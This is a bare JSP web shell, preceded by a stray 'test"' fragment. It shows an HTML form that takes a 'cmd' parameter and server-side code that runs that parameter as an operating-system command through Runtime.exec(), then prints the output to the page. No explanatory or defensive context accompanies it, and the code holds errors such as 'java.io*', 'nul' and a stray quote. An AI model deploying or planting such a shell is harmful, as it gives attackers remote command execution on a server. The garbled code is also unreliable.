test"

<FORM METHOD =GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='RUN'>
</FORM>
<%@ page import="java.io*" %>
<%
    String cmd =  request.getParameter("cmd");
    String output = "";
    if(cmd != nul) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(cmd,null,null);
            BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
            while((s = sI.readLine()) !=null) { output += s+"</
br>"";}
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>